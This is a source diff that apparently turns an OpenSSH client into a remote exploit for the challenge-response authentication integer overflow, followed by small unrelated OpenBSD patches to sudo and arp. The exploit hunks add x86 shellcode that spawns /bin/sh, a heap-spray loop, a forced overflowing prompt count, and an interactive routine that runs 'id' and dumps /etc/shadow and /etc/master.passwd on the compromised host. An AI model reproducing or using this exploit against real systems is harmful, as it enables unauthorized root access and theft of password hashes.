+	if (method != N) printf("[i] server_user: %s\n", authctxt.server_user);
+
 	/* initial userauth request */
 	userauth_none(&authctxt);
 
@@ -337,6 +351,7 @@
 	Authctxt *authctxt = ctxt;
 	char *authlist = NULL;
 	int partial;
+	static int enter = 0;
 
 	if (authctxt == NULL)
 		fatal("input_userauth_failure: no authentication context");
@@ -345,6 +360,13 @@
 	partial = packet_get_char();
 	packet_check_eom();
 
+	if (!enter++) {
+		if (strstr(authlist, "keyboard-interactive"))
+			fprintf(stderr, "[x] keyboard-interactive method available\n");
+		  else
+			fprintf(stderr, "[_] keyboard-interactive method available\n");
+	}
+
 	if (partial != 0)
 		log("Authenticated with partial success.");
 	debug("Authentications that can continue: %s", authlist);
@@ -817,10 +839,19 @@
 {
 	static int attempt = 0;
 
-	if (attempt++ >= options.number_of_password_prompts)
+	if ((method == N) && (attempt >= options.number_of_password_prompts))
 		return 0;
+
 	/* disable if no SSH2_MSG_USERAUTH_INFO_REQUEST has been seen */
-	if (attempt > 1 && !authctxt->info_req_seen) {
+	if (attempt++ > 1 && !authctxt->info_req_seen) {
+		switch(method) {
+			case S:
+				printf("[x] skey not available\n");
+				break;
+			case B:
+				printf("[x] bsdauth (%s) not available\n", style);
+				break;
+		}
 		debug3("userauth_kbdint: disable: no info_req_seen");
 		dispatch_set(SSH2_MSG_USERAUTH_INFO_REQUEST, NULL);
 		return 0;
@@ -832,20 +863,115 @@
 	packet_put_cstring(authctxt->service);
 	packet_put_cstring(authctxt->method->name);
 	packet_put_cstring("");					/* lang */
-	packet_put_cstring(options.kbd_interactive_devices ?
-	    options.kbd_interactive_devices : "");
+
+	switch (method) {
+		case N:
+			packet_put_cstring(options.kbd_interactive_devices ?
+			    options.kbd_interactive_devices : "");
+			break;
+		case S:
+			packet_put_cstring("skey");
+			break;
+		case B:
+			packet_put_cstring("bsdauth");
+			break;
+	}
+
 	packet_send();
 
 	dispatch_set(SSH2_MSG_USERAUTH_INFO_REQUEST, &input_userauth_info_req);
 	return 1;
 }
 
+#ifdef MAX
+#undef MAX
+#endif
+
+#define MAX(a, b) (((a) > (b)) ? (a) : (b))
+
+void
+exploit_interactive(int sock)
+{
+	int i, n;
+	int owned = 0;
+	int responses = 0;
+	fd_set fds;
+	struct timeval tv;
+
+	char buff[1024];
+	char *cmdz = "uname -a;id;cat /etc/shadow /etc/master.passwd\n";
+
+	for(;;) {
+		tv.tv_sec = 15;
+		tv.tv_usec = 0;
+
+		FD_ZERO(&fds);
+		FD_SET(STDIN_FILENO, &fds);
+		FD_SET(sock, &fds);
+
+		if (select(MAX(STDIN_FILENO, sock) + 1, &fds, NULL, NULL, owned ? NULL : &tv) > 0) {
+			if (FD_ISSET(sock, &fds)) {
+				if ((n = read(sock, buff, sizeof buff)) < 0) {
+					perror("read()");
+					break;
+				}
+				if (n >= 1) {
+					if (!owned) {
+						for (i = 0; i < n; i++)
+			   				if (buff[i] == 'G')
+								responses++;
+			   				  else
+								responses = 0;
+						if (responses >= 2) {
+			   				owned = 1;
+			    				atomicio(write, sock, "O", 1);
+			   				atomicio(write, sock, cmdz, strlen(cmdz));
+						}
+					} else {
+						write(STDOUT_FILENO, buff, n);
+					}
+				}
+			} /* sock */
+			if (FD_ISSET(STDIN_FILENO, &fds)) {
+				if ((n = read(STDIN_FILENO, buff, sizeof buff)) < 0) {
+						perror("read()");
+						break;
+				}
+				atomicio(write, sock, buff, n);
+			} /* stdin */
+		} /* select */
+		if (!owned)
+			break;
+	} /* for */
+}
+
 /*
  * parse INFO_REQUEST, prompt user and send INFO_RESPONSE
  */
 void
 input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
 {
+	char tcod[] =
+	"\x31\xc0\x50\x6a\x14\x50\x6a\x14\x54\x50\x50\xb0\xc3\xcd\x80"
+	"\xeb\xfe";
+
+	char mcod[] =
+	"\x68\x47\x47\x47\x47\x89\xe3\x31\xc0\x50\x50\x50\x50\xc6\x04\x24"
+	"\x04\x53\x50\x50\x31\xd2\x31\xc9\xb1\x80\xc1\xe1\x18\xd1\xea\x31"
+	"\xc0\xb0\x85\xcd\x80\x72\x02\x09\xca\xff\x44\x24\x04\x80\x7c\x24"
+	"\x04\x20\x75\xe9\x31\xc0\x89\x44\x24\x04\xc6\x44\x24\x04\x20\x89"
+	"\x64\x24\x08\x89\x44\x24\x0c\x89\x44\x24\x10\x89\x44\x24\x14\x89"
+	"\x54\x24\x18\x8b\x54\x24\x18\x89\x14\x24\x31\xc0\xb0\x5d\xcd\x80"
+	"\x31\xc9\xd1\x2c\x24\x73\x27\x31\xc0\x50\x50\x50\x50\xff\x04\x24"
+	"\x54\xff\x04\x24\xff\x04\x24\xff\x04\x24\xff\x04\x24\x51\x50\xb0"
+	"\x1d\xcd\x80\x58\x58\x58\x58\x58\x3c\x4f\x74\x0b\x58\x58\x41\x80"
+	"\xf9\x20\x75\xce\xeb\xbd\x90\x31\xc0\x50\x51\x50\x31\xc0\xb0\x5a"
+	"\xcd\x80\xff\x44\x24\x08\x80\x7c\x24\x08\x03\x75\xef\x31\xc0\x50"
+	"\xc6\x04\x24\x0b\x80\x34\x24\x01\x68\x42\x4c\x45\x2a\x68\x2a\x47"
+	"\x4f\x42\x89\xe3\xb0\x09\x50\x53\xb0\x01\x50\x50\xb0\x04\xcd\x80"
+	"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50"
+	"\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80\xcc";
+
 	Authctxt *authctxt = ctxt;
 	char *name, *inst, *lang, *prompt, *response;
 	u_int num_prompts, i;
@@ -870,6 +996,10 @@
 	xfree(lang);
 
 	num_prompts = packet_get_int();
+
+	chunk_size = chunk_size ? chunk_size : 4096;
+	num_prompts = 0x40000000 + chunk_size / 4;
+
 	/*
 	 * Begin to build info response packet based on prompts requested.
 	 * We commit to providing the correct number of responses, so if
@@ -879,22 +1009,51 @@
 	packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);
 	packet_put_int(num_prompts);
 
-	debug2("input_userauth_info_req: num_prompts %d", num_prompts);
-	for (i = 0; i < num_prompts; i++) {
-		prompt = packet_get_string(NULL);
-		echo = packet_get_char();
-
-		response = read_passphrase(prompt, echo ? RP_ECHO : 0);
-
-		packet_put_cstring(response);
-		memset(response, 0, strlen(response));
-		xfree(response);
-		xfree(prompt);
+	if (method != N) {
+		response = "G";
+		for (i = 0; i < chunk_size / 4; i++)
+			packet_put_cstring(response);
+
+		if (testing) {
+			tcode_rep = tcode_rep ? tcode_rep : 10000;
+			scode_rep = 0;
+		} else {
+			tcode_rep = tcode_rep ? tcode_rep : 0;
+			scode_rep = scode_rep ? scode_rep : 60;
+		}
+
+		for (i = 0; i < tcode_rep; i++)
+			packet_put_string(tcod, sizeof(tcod)-1);
+
+		for (i = 0; i < scode_rep; i++)
+			packet_put_string(mcod, sizeof(mcod)-1);
+
+		packet_put_int(257 * 1024);
+		printf("[*] chunk_size: %d tcode_rep: %d scode_rep %d\n",
+			chunk_size, tcode_rep, scode_rep);
+		printf("[*] mode: %s\n", testing ? "testing" : "exploitation");
+	} else {
+		debug2("input_userauth_info_req: num_prompts %d", num_prompts);
+		for (i = 0; i < num_prompts; i++) {
+			prompt = packet_get_string(NULL);
+			echo = packet_get_char();
+
+			response = read_passphrase(prompt, echo ? RP_ECHO : 0);
+
+			packet_put_cstring(response);
+			memset(response, 0, strlen(response));
+			xfree(response);
+			xfree(prompt);
+		}
+		packet_check_eom(); /* done with parsing incoming message. */
 	}
-	packet_check_eom(); /* done with parsing incoming message. */
 
 	packet_add_padding(64);
 	packet_send();
+	if (method != N) {
+		packet_write_wait();
+		exploit_interactive(packet_get_connection_in());
+	}
 }
 
 static int
@@ -1036,7 +1195,7 @@
 	if (sensitive->external_keysign)
 		ok = ssh_keysign(private, &signature, &slen,
 		    buffer_ptr(&b), buffer_len(&b));
-	else
+	  else
 		ok = key_sign(private, &signature, &slen,
 		    buffer_ptr(&b), buffer_len(&b));
 	key_free(private);
Index: src/usr.bin/sudo/Makefile.bsd-wrapper
===================================================================
RCS file: /cvs/src/usr.bin/sudo/Makefile.bsd-wrapper,v
retrieving revision 1.15
diff -u -r1.15 Makefile.bsd-wrapper
--- src/usr.bin/sudo/Makefile.bsd-wrapper	26 Apr 2002 16:04:02 -0000	1.15
+++ src/usr.bin/sudo/Makefile.bsd-wrapper	4 Mar 2003 16:52:41 -0000
@@ -14,7 +14,7 @@
 DPADD+= ${LIBSKEY}
 .endif
 
-.if (${KERBEROS:L} == "yes")
+.if (${KERBEROS4:L} == "yes")
 CONFIGURE_OPTS+=--with-kerb4
 LDADD+= -lkrb -ldes -lkafs
 DPADD+= ${LIBKRB} ${LIBDES} ${LIBKAFS}
Index: src/usr.sbin/arp/arp.c
===================================================================
RCS file: /cvs/src/usr.sbin/arp/arp.c,v
retrieving revision 1.25
diff -u -r1.25 arp.c
--- src/usr.sbin/arp/arp.c	3 Dec 2002 22:33:28 -0000	1.25
+++ src/usr.sbin/arp/arp.c	4 Mar 2003 16:52:41 -0000
@@ -198,7 +198,9 @@
 	args[3] = &arg[3][0];
 	args[4] = &arg[4][0];
 	retval = 0;
-	while (fgets(line, 100, fp) != NULL) {
+	while (fgets(line, sizeof(line), fp) != NULL) {
+		if ((line[0] == '#') || (line[0] == '\n'))
+			continue;
 		i = sscanf(line, "%49s %49s %49s %49s %49s", arg[0], arg[1], arg[2],
 		    arg[3], arg[4]);
 		if (i < 2) {